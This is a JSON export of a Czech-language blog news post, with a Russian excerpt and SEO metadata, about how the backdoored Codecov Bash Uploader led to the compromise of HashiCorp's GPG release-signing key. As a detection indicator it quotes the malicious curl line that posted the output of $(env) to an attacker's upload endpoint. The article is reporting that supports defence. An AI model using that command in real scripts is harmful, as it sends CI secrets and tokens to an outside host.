{"id":100037,"date":"2021-04-27T10:22:34","date_gmt":"2021-04-27T08:22:34","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp"},"modified":"2021-04-27T10:22:34","modified_gmt":"2021-04-27T08:22:34","slug":"vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","title":{"rendered":"Zaveden\u00ed malware do skriptu Codecov vedlo k kompromitaci PGP kl\u00ed\u010de HashiCorp.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Spole\u010dnost HashiCorp, zn\u00e1m\u00e1 v\u00fdvojem otev\u0159en\u00fdch n\u00e1stroj\u016f Vagrant, Packer, Nomad a Terraform, ozn\u00e1mila \u00fanik tajn\u00e9ho GPG kl\u00ed\u010de pou\u017e\u00edvan\u00e9ho k vytv\u00e1\u0159en\u00ed digit\u00e1ln\u00edch podpis\u016f, kter\u00e9 ov\u011b\u0159uj\u00ed vyd\u00e1n\u00ed. \u00dato\u010dn\u00edci, kte\u0159\u00ed z\u00edskali p\u0159\u00edstup k GPG kl\u00ed\u010di, mohli potenci\u00e1ln\u011b prov\u00e9st skryt\u00e9 zm\u011bny v produktech HashiCorp, ov\u011b\u0159en\u00e9 spr\u00e1vn\u00fdm digit\u00e1ln\u00edm podpisem. Spole\u010dnost v\u0161ak uvedla, \u017ee b\u011bhem proveden\u00e9ho auditu nebyly zji\u0161t\u011bny \u017e\u00e1dn\u00e9 pokusy o takov\u00e9 \u00fapravy. <\/p>\n

V sou\u010dasn\u00e9 dob\u011b byl kompromitovan\u00fd GPG kl\u00ed\u010d odvol\u00e1n a na jeho m\u00edsto byl uveden nov\u00fd kl\u00ed\u010d. Probl\u00e9m se t\u00fdkal pouze ov\u011b\u0159ov\u00e1n\u00ed pomoc\u00ed soubor\u016f SHA256SUM a SHA256SUM.sig, a nezahrnoval vytv\u00e1\u0159en\u00ed digit\u00e1ln\u00edch podpis\u016f pro Linuxov\u00e9 bal\u00ed\u010dky DEB a RPM dod\u00e1van\u00e9 p\u0159es releases.hashicorp.com, stejn\u011b jako mechanismy potvrzov\u00e1n\u00ed vyd\u00e1n\u00ed pro macOS a Windows (AuthentiCode). <\/p>\n

\u00danik vznikl z d\u016fvodu pou\u017eit\u00ed skriptu Codecov Bash Uploader (codecov-bash) ve infrastruktu\u0159e, kter\u00fd je ur\u010den k na\u010d\u00edt\u00e1n\u00ed zpr\u00e1v o pokryt\u00ed z syst\u00e9m\u016f kontinu\u00e1ln\u00ed integrace. B\u011bhem \u00fatoku na spole\u010dnost Codecov byl do zmi\u0148ovan\u00e9ho skriptu skryt\u011b vlo\u017een backdoor, kter\u00fdm byla organizov\u00e1na odes\u00edl\u00e1n\u00ed hesel a \u0161ifrovac\u00edch kl\u00ed\u010d\u016f na server<\/a> server \u00fato\u010dn\u00edk\u016f. <\/p>\n

Pro hacknut\u00ed \u00fato\u010dn\u00edci vyu\u017eili chybu v procesu vytv\u00e1\u0159en\u00ed Docker obrazu Codecov, kter\u00e1 umo\u017enila extrahovat data pro p\u0159\u00edstup k GCS (Google Cloud Storage), pot\u0159ebn\u00e1 k proveden\u00ed zm\u011bn ve skriptu Bash Uploader, distribuovan\u00e9m z webu codecov.io. Zm\u011bny byly provedeny ji\u017e 31. ledna, byla dva m\u011bs\u00edce p\u0159ehl\u00ed\u017eena a umo\u017e\u0148ovala \u00fato\u010dn\u00edk\u016fm extrahovat informace ulo\u017een\u00e9 v prost\u0159ed\u00edch syst\u00e9m\u016f kontinu\u00e1ln\u00ed integrace klient\u016f. Pomoc\u00ed p\u0159idan\u00e9ho \u0161kodliv\u00e9ho k\u00f3du mohli \u00fato\u010dn\u00edci z\u00edskat informace o testovan\u00e9m Git repozit\u00e1\u0159i a v\u0161ech prom\u011bnn\u00fdch prost\u0159ed\u00ed, v\u010detn\u011b token\u016f, \u0161ifrovac\u00edch kl\u00ed\u010d\u016f a hesel, kter\u00e9 byly p\u0159ed\u00e1v\u00e1ny do syst\u00e9m\u016f kontinu\u00e1ln\u00ed integrace pro organizaci p\u0159\u00edstupu k aplikac\u00edm, \u00falo\u017ei\u0161t\u00edm a slu\u017eb\u00e1m, jako jsou Amazon Web Services a GitHub. <\/p>\n

Krom\u011b p\u0159\u00edm\u00e9ho vol\u00e1n\u00ed byl skript Codecov Bash Uploader pou\u017e\u00edv\u00e1n v r\u00e1mci jin\u00fdch nahr\u00e1va\u010d\u016f, jako jsou Codecov-action (Github), Codecov-circleci-orb a Codecov-bitrise-step, jejich\u017e u\u017eivatel\u00e9 jsou tak\u00e9 touto problematikou posti\u017eeni. V\u0161em u\u017eivatel\u016fm codecov-bash a souvisej\u00edc\u00edch produkt\u016f se doporu\u010duje prov\u00e9st audit sv\u00fdch infrastruktur a tak\u00e9 zm\u011bnit hesla a \u0161ifrovac\u00ed kl\u00ed\u010de. Kontrola p\u0159\u00edtomnosti backdooru ve skriptu m\u016f\u017ee b\u00fdt provedena pomoc\u00ed v\u00fdskytu \u0159et\u011bzce curl -sm 0.5 -d \"<<<<<< ENV $(env)\" http:\/\/\/upload\/v2 || true
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100037","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zaveden\u00ed \u0161kodliv\u00e9ho k\u00f3du do skriptu Codecov vedlo k kompromitaci PGP kl\u00ed\u010de HashiCorp | ProHoster","description":"Spole\u010dnost HashiCorp, zn\u00e1m\u00e1 v\u00fdvojem otev\u0159en\u00fdch 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\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PGP-\u043a\u043b\u044e\u0447\u0430 HashiCorp | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e 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